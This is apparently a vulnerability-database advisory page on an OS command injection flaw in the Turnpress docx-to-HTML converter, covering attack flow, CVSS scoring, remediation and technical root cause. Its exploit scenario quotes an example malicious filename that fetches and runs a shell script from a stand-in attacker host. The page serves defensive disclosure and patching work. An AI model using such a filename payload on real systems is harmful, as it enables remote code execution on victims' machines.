Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessDeliver .docx with crafted filename to victim
-
DeliveryVictim runs Turnpress convert/create on file
-
ExploitFilename passed to pandoc via execa shell:true
-
ExecutionShell metacharacters execute arbitrary commands
-
ImpactCode runs with victim privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to invoke Turnpress's 'convert' or 'create' operation on an attacker-controlled .docx file whose filename contains shell metacharacters; the vulnerable path is convertDocxToHtml in src/converter.ts, which passes the --docx path to pandoc via execa with shell:true. The limiting factors are significant: the attack vector is local (AV:L) because the malicious file must be supplied to and processed by the tool on the victim's machine, and user interaction is required (UI:P) because nothing executes until the victim runs a convert/create command. No authentication is needed to craft the filename (PR:N), and default configurations are affected since shell:true is the shipped behavior through 0.4.2 - pandoc must be installed and invoked for the sink to trigger. Commands run only with the invoking user's privileges, with no scope change to other components (SC/SI/SA:N). |
| Impact | This is a genuine but low-urgency issue. The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H) scores 8.5 largely because of full high impact to confidentiality, integrity and availability - the code achieves arbitrary OS command execution via execa with shell:true. However, the two signals that most limit real-world risk are AV:L (local attack vector - the malicious .docx must be fed to the tool on the victim's own system) and UI:P (the victim must actively run a convert or create operation on the attacker-supplied file). No EPSS score was provided, the CVE is not in CISA KEV, and no public exploit code is referenced, so exploitation is no public exploit identified at time of analysis. PR:N means no authentication is required to supply a weaponized filename, but code only runs with the victim's privileges, so there is no privilege escalation beyond the operator's own context. Weigh this against the product itself: Turnpress is an obscure open-source docx-to-HTML converter with negligible deployment footprint, so despite the high base score this is not a mass-exploitation priority - it is a 'patch when convenient' supply-chain hygiene item for the few projects that embed this dependency. Note one tension: the base score is high (8.5) yet every practical gating factor (local, user-interaction, niche product, no exploitation evidence) points to limited real-world risk. |
| Exploit ScenarioDerived | An attacker distributes a .docx file whose filename contains shell metacharacters (e.g. 'report;$(curl attacker.sh|sh).docx') through a channel the victim trusts, such as email or a shared folder. When the victim runs Turnpress convert or create on that file, convertDocxToHtml passes the --docx path to pandoc through execa with shell:true, causing the embedded command to execute with the victim's privileges. No public exploit code is identified, but the one-line sink makes a working payload trivial to construct. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 14, 2026
OS command injection in Turnpress through 0.4.2 allows arbitrary shell commands to be executed with the victim user's privileges when the tool's convert or create operation processes a .docx file whose filename contains shell metacharacters. The flaw sits in convertDocxToHtml (src/converter.ts), which invokes pandoc through execa with shell:true, so the crafted filename is interpreted by the shell rather than treated as a literal argument; exploitation is local (AV:L) and requires the victim to run a convert/create command on the malicious file (UI:R), and no privileges are needed to craft the filename. Impact is high for confidentiality, integrity, and availability on the host running the conversion, but it is limited to the invoking user's privileges with no scope change, and no public exploit code or confirmed in-the-wild exploitation has been identified at time of analysis; vendor fix is available via an upstream pull request that removes shell:true.
RemediationAI
Primary fix: the upstream patch at https://github.com/jinghaihan/turnpress/pull/2 removes the shell:true options from the execa calls in convertDocxToHtml, so upgrading to a Turnpress build that includes this merged change eliminates the injection; this is an upstream fix available as a pull request/commit and a released, tagged patched version (beyond 0.4.2) has not been independently confirmed, so verify the published package version actually contains the commit before relying on it. If you cannot upgrade immediately, the most effective compensating control is to stop attacker-supplied filenames from ever reaching pandoc through a shell: copy each .docx to a locally generated safe name (for example a UUID plus .docx) before converting and reject or normalize any filename containing ;, |, &, $, `, (, ), <, >, newline, or whitespace - the trade-off is that you lose the original filename in any downstream output and must ensure the renaming step itself is not shell-mediated. A second option is to run Turnpress under a low-privilege, sandboxed account or container with the pandoc invocation restricted (read-only mounts, no network), which reduces the blast radius of a successful injection but does not fix the defect. Blocking shell metacharacters at an input-validation layer (for example a wrapper that refuses to open files whose names fail a strict allowlist regex) is weaker because alternative metacharacters or encodings may bypass the filter. Monitor for execution of unexpected child processes spawned by node/pandoc as a detection measure. Vendor and reporter advisory: https://www.vulncheck.com/advisories/turnpress-through-0.4.2-os-command-injection-via-crafted-docx-file-names.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Turnpress is a TypeScript document-conversion utility that shells out to the pandoc binary. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the root cause: in src/converter.ts lines ~33-61, the convertDocxToHtml function builds the pandoc invocation and passes it to execa with the shell:true option. With shell:true, execa concatenates the command and its arguments into a single string handed to /bin/sh (or cmd.exe on Windows), so any shell metacharacters embedded in the attacker-controlled --docx file path (for example semicolons, backticks, $(), pipes, or ampersands) are parsed as shell syntax and executed. The correct pattern is to omit shell:true and pass arguments as an array so the path is delivered to pandoc as an opaque string. The CPE cpe:2.3:a:jinghaihan:turnpress:*:*:*:*:*:*:*:* indicates all versions of the jinghaihan/turnpress package are in scope; the advisory and source link confirm versions up to and including 0.4.2 are affected, and pandoc must be installed on the host for the vulnerable sink to be reached. The upstream patch (PR #2) simply deletes the two shell:true lines in the function, which is the minimal correct fix.
Know when Turnpress gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Malicious file must be processed locally (AV:L) and the victim must run convert/create (UI:R); no auth needed to craft the name (PR:N); arbitrary command execution yields full C/I/A.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Turnpress through 0.4.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying .docx files with crafted names. The convertDocxToHtml function in src/converter.ts invokes pandoc through execa with shell:true, so shell metacharacters in the --docx path run with the victim's privileges during convert or create.
Executive ViewAI
Turnpress versions through 0.4.2 contain a high-severity command injection flaw that can let a malicious .docx filename execute arbitrary commands when a user converts or creates a document, risking the confidentiality, integrity, and availability of the affected workstation. The exposure is local and requires user interaction, so the primary business concern is targeted compromise of individual users who handle untrusted documents, not broad server takeover. Patch available per vendor advisory; no public exploit identified at time of analysis.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-101275
GHSA-f273-crjh-xp28
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB